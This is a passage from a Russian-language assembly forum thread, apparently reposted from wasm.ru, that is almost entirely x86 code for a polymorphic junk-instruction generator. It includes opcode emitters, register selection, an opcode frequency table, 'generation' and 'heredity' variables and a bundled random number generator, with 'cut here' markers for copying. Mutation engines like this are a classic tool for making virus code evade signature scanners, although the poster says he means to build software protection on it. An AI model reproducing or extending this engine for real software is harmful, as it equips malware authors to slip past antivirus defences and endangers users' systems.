    		test	eax,eax			; Если оно не равно 0, то
    		jnz	__ng3__			; Переходим на метку __ng3__
    
    		mov	al,6ah			; Кладём в al - 06ah
    		stosb				; Помещаем al в буфер
    		xor	eax,eax			; Обнуляем eax
    		dec	eax			; Теперь в eax - 0ffffffffh
    		call	brandom32		; Генерируем СЧ
    		stosb				; Кладём в буфер
    		jmp	__gen5__		; Идём на генерацию мусора
    __ng3__:
    		push	edx			; Сохраняем в стэке edx
    
    		mov	al,0ffh			; Кладём в al - 0ffh
    		stosb				; И помещаем al в буфер
    		mov	dl,0f0h			; Кладём в dl - 0f0h
    		call	free_reg		; Получаем свободный регистр 
    		add	al,dl			; Добавляем к al - dl
    		stosb				; И помещаем al в буфер
    
    		pop	edx			; Вынимаем из стэка edx
    __gen5__:
    		push	ecx			; Сохраняем ecx в стэке
    		mov	ecx,edx			; Кладём в ecx - edx
    		call	garbage			; Генериуем серию мусора
    		pop	ecx			; Восстанавливаем ecx из
    						; стэка
    
    		call	free_reg		; Вызываем подпрограмму 
    						; получения свободных 
    						; регистров
    		add	al,58h			; Добавляем к al - 58h
    		stosb				; И опять кладём al в буфер
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкции PUSH/POP:
    						; .........................
    						; 	push	eax
    						;	mov	eax,2345
    						; 	pop	ecx
    						; .........................
    		sub	ecx,edx			; Уменьшаем счётчик на edx
    		sub	ecx,3			; Уменьшаем счётчик на 3
    		ret				; Возврат из подпрограммы
    
    
    Продолжение кода следует ниже:
     
    8 фев 2009
  5. Mei
    Mei Guest
    Код:
    ;----[Генерация инструкций PUSH - 0x68,0x58..0x5f]-------------------------;
    
    __push_imm32:
    		mov	eax,10			; Генерируем СЧ в
    		call	brandom32		; диапазоне 0..9
    		mov	edx,eax			; Помещаем в edx - eax
    		add	al,6			; Добавляем к al - 6
    
    		cmp	eax,ecx			; Если длина генерируемых
    		jle	__g17__			; инструкций меньше, то
    		ret				; Возврат из подпрограммы
    __g17__:
    		mov	al,68h			; Кладём в al - 68h
    		stosb				; Помещаем al в буфер 
    		xor	eax,eax			; Обнуляем eax
    		dec	eax			; Теперь в eax - 0ffffffffh
    		call	brandom32		; Генерируем СЧ
    		stosd				; Кладём его в буфер
    
    		push	ecx			; Сохраняем ecx в стэке
    		mov	ecx,edx			; Кладём в ecx - edx
    		call	garbage			; Генерируем серию мусора
    		pop	ecx			; Восстанавливаем ecx из
    						; стэка
    
    		call	free_reg		; Вызываем подпрограмму 
    						; получения свободных 
    						; регистров
    		add	al,58h			; Добавляем к al - 58h
    		stosb				; И опять кладём al в буфер
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкции PUSH/POP:
    						; .........................
    						; 	push	eax
    						; 	add	eax,42346
    						; 	pop	ecx
    						; .........................
    		sub	ecx,edx			; Уменьшаем счётчик на edx
    		sub	ecx,6			; Уменьшаем счётчик на 6
    		ret				; Возврат из подпрограммы
    
    ;----[Генерация однобайтовых инструкций - 0x40..0x4f;0x0f2;0x0f3...]-------;
    
    __one_byte:
    		mov	eax,3			; Генерируем случайное число
    		call	brandom32		; в диапазоне 0..2
    		                                   
    		cmp	al,1			; Если число = 1, то 
    		jne	__not_inc_		; генерируем инструкцию INC
    
    		call	free_reg		; Вызываем подпрограмму 
    						; получения свободных 
    						; регистров
    		add	al,40h			; Добавляем к al - 40h
    		stosb				; Помещаем al в буфер
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкции INC:
    						; .........................
    						; 	inc	eax
    						; 	inc	ebp
    						; .........................
    		jmp	__q__			; Идём на выход
    __not_inc_:
    
    		cmp	al,2			; Если число = 2, то
    		jne	__not_dec_		; Идём на выход
    
    		call	free_reg		; Вызываем подпрограмму 
    						; получения свободных 
    						; регистров
    		add	al,48h			; Добавляем к al - 48h
    		stosb				; Помещаем al в буфер
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкции DEC:
    						; .........................
    						; dec             eax
    						; .........................
    		jmp	__q__			; Идём на выход
    __not_dec_:
    
    		lea	esi,[ebp+__1_byte_opcode]; Кладём в esi указатель на
    						; таблицу однобайтных
    						; инструкций
    		mov	eax,8			; Генерируем случайное число
    		call	brandom32		; в диапазоне 0..7
    		add	esi,eax			; Прибавляем к esi - eax 
    		movsb				; Помещаем инструкцию
    						; из таблицы в буфер
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкция из таблицы:
    						; ........................
    						; 	cld             
    						; 	nop             
    __q__:						; ........................
    		dec	ecx			; Уменьшаем ecx на единицу
    		ret				; Возврат из подпрограммы
    
    ;----[Подпрограмма получающая случайный свободный регистр]-----------------;
    
    free_reg:                                          
    						; Подпрограмма получения
    						; свободного регистра
    
    		push	edx ecx			; Сохраняем в стэке edx, ecx
    another:					;
    
    		call	rnd_reg			;
    		bt      ebx, eax		; Определяем используемый
    		jc     another			; случайный регистр
    
    		pop	ecx edx			; Восстанавливаем ecx, edx
    		ret				; Возврат из подпрограммы
    
    ;----[Подпрограмма получающая случайный регистр]---------------------------;
    
    rnd_reg:                                           
    						; Подпрограмма получения
    						; случайного регистра
    
    		mov	eax,8			; Получаем случайное число
    		call	brandom32		; в диапазоне 0..7
    		ret				; Возврат из подпрограммы
    
    ;----[Таблица смещений на подпрограммы]------------------------------------;
    
    mega_table:
    		dw	__x87		-__st__ 	;
    		dw	__mov_r32_r32	-__st__ 	; 
    		dw	__push_r32	-__st__ 	; 
    		dw	__push_r32_2	-__st__ 	; 
    		dw	__push_imm32	-__st__ 	; 
    		dw	__shl_r32_imm8	-__st__ 	; 
    		dw	__cmp_r32_r32	-__st__ 	;
    		dw	__xor_r32_r32	-__st__ 	;
    		dw	__one_byte	-__st__ 	;
    		dw	__mov_r32_imm32	-__st__ 	;
    		dw	__jxx_short	-__st__ 	; Таблица
    		dw	__jxx_near	-__st__ 	; относительных
    		dw	__add_r32_imm32	-__st__ 	; смещений от метки
    		dw	__jmp_short	-__st__ 	; delta_offset
    		dw	__lea_r32_imm32	-__st__ 	;
    		dw	__test_r32_r32	-__st__ 	;
    		dw	__not_r32	-__st__ 	;
    		dw	__xadd_r32_r32	-__st__ 	;
    		dw	__mov_r16_imm16	-__st__ 	;
    		dw	__cmova_r32_r32	-__st__ 	; 
    		dw	__call_near	-__st__ 	;
    
    ;----[Таблица однобайтовых опкодов]----------------------------------------;
    
    __1_byte_opcode:
    		std				;
    		cld				; Таблица однобайтовых
    		nop				; инструкций
    		clc				;
    		stc				;
    		cmc				;
    		db	0f2h			; rep
    		db	0f3h			; repnz
    
    ;----[Таблица трёхбайтовых опкодов]----------------------------------------;
    
    __3_byte_opcode:
    db	0a3h,0abh,0adh,0b3h,0bbh,0bdh,0bfh	; Таблица трёхбайтовых
    db	0b6h,0b7h,0beh,0afh,0bch,0c1h,0bdh	; инструкций
    
    ;----[Таблица мат. ожиданий опкодов]---------------------------------------;
    
    __freq_table:
    		dw	10			; x87(0xdc)
    		dw	209			; mov r32,r32(0x8b)
    		dw	107			; push r32/pop r32(0x50)
    		dw	147			; push r32(0xff,0x6a)
    		dw	32			; push imm32(0x68)
    		dw	6			; ror/shl r32,imm8(0xc1)
    		dw	5			; cmp r32,r32(0x3ah)
    		dw	43			; xor r32,r32(0x33)
    		dw	8			; rep/repnz(0xf3)
    		dw	22			; mov r32,imm32(0xb8)
    		dw	82			; je short(0x70..0x7fh)
    		dw	18			; je near(0x0f)
    		dw	78			; add/or r32,imm32
    						; (0x81..0x85)
    		dw	30			; jmp short(0xeb)
    		dw	63			; lea r32,imm32(0x8d)
    		dw	1			; test r32/r8,r32/r8
    						; (0x84,0x85)
    		dw	1			; not/neg(0xf7)
    		dw	23			; xadd/imul r32,r32(0x0f)
    		dw	6			; mov r16,imm16(0x66)
    		dw	13			; cmova r32,r32(0x0f)
    		dw	95			; call near(0xe8)
    
    ;----[Количество поколений]------------------------------------------------;
    
    __generation	dd	9
    
    ;----[Наследственность]----------------------------------------------------;
    
    __cross1	dd	0
    __cross2	dd      0
    
    ;----[Определения регистров]-----------------------------------------------;
    
    _eax		equ     00000001h		;
    _ecx		equ     00000002h		;
    _edx		equ     00000004h		;
    _ebx		equ     00000008h		;
    _esp		equ     00000010h		; Определения регистров
    _ebp		equ     00000020h		; спасибо Z0MBiE :)
    _esi		equ     00000040h		;
    _edi		equ     00000080h		;
    ;--------------------------------------------------------------------------;
    ;                                                                          ;
    ;----[Резать здесь]--------------------------------------------------------;
    
    Для работы данного движка необходима новая версия - ГЕНЕРАТОР СЛУЧАЙНОГО ЧИСЛА.
    Код:
    ;----[Резать здесь]--------------------------------------------------------;
    ;                                                                          ;
    ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
    ; ГЕНЕРАТОР СЛУЧАЙНОГО ЧИСЛА V. 0.3 (x) 2004 СЛОН http://slon.wronger.com  ;
    ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
    ; Интервал:		[0..eax-1]                                         ;
    ;--------------------------------------------------------------------------;
    ; Использование:        call	r_init                                     ;
    ;			mov	eax,ГРАНИЦА ИНТЕРВАЛА                      ;
    ;			call	brandom32                                  ;
    ;--------------------------------------------------------------------------;
    ; Результат:		число в интервале [0..ГРАНИЦА ИНТЕРВАЛА]           ;
    ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
    
    ;----[Подпрограмма инициализации генератора случайных чисел]---------------;
    
    r_init:
    		push	ebp eax edx		; Сохраняем в стэке ebp,
    						; eax, edx
    
    		call	__delta1_		;
    __delta1_:	pop	ebp			; Получение дельта смещения
    		sub	ebp,offset __delta1_	;
    
    		db	0fh,031h		; Получаем случайное зерно
    		mov	rand_seed,eax		;
    
    		pop	edx eax ebp		; Восстанавливаем edx,
    						; eax, ebp
    
    		ret				; Возврат из подпрограммы
    
    ;----[Подпрограмма генерации случаного чмсла в диапазоне]------------------;
    
    brandom32:					; Эта подпрограмма 
    						; возвращает случайное число
    						; в диапазоне 0..eax-1
    
    		push	edx ecx	ebp		; Сохраняем в стэке edx, 
    						; ecx, ebp
    
    		call	__delta2_		;
    __delta2_:	pop	ebp			; Получение дельта смещения
    		sub	ebp,offset __delta2_	;
    
    		imul	eax,eax,100		; Умножаем eax на 100
    		push	eax			; и сохраняем eax в стэке
    
    		call	random32		; Вызываем подпрограмму
    						; генерации случайного числа
    		xor	edx,edx			; Обнуляем edx
    		pop	ecx			; Восстанавливаем значение
    						; из стэка в ecx
    		div	ecx			; Делим eax на ecx
    		xchg	eax,edx			; Помещаем остаток в eax
    		xor	edx,edx			; Обнуляем edx
    		push	100			; Помещаем в ecx - 100
    		pop	ecx			;
    		div	ecx			; Делим eax на ecx
    		pop	ebp ecx edx		; Восстанавливаем ebp, ecx,
    						; edx
    		ret				; Возврат из подпрограммы
    
    ;----[Подпрограмма генерации случайного числа]-----------------------------;
    
    random32:
    		push	ebp
    
    		call	__delta3_		;
    __delta3_:	pop	ebp			; Получение дельта смещения
    		sub	ebp,offset __delta3_	;
    
                    mov     eax,12345678h		;
    		rand_seed= dword ptr $-4	; 
    		imul	eax,00019660Dh		; 
    		add	eax,03C6EF35Fh		; Математические операции
    		mov     [ebp+rand_seed],eax	; для получения случайного
    		shr     eax,16			; числа
    		imul    eax,[esp+4]		;
    
    		pop	ebp
    
    		retn				; Возврат из подпрограммы
    
    ;--------------------------------------------------------------------------;
    ;                                                                          ;
    ;----[Резать здесь]--------------------------------------------------------;
    Последние две техники нигде мной ранее не встречались. И хочется верить, что разработаны они мной.

    Для чего это всё может быть использовано? Об этом каждый ответит для себя сам. Я например собираюсь на базе данного движка создать программную защиту. После всего этого, хочется задаться закономерным вопросом: "Полиморфизм мёртв?".

    ©wasm.ru​
     
    8 фев 2009
Загрузка...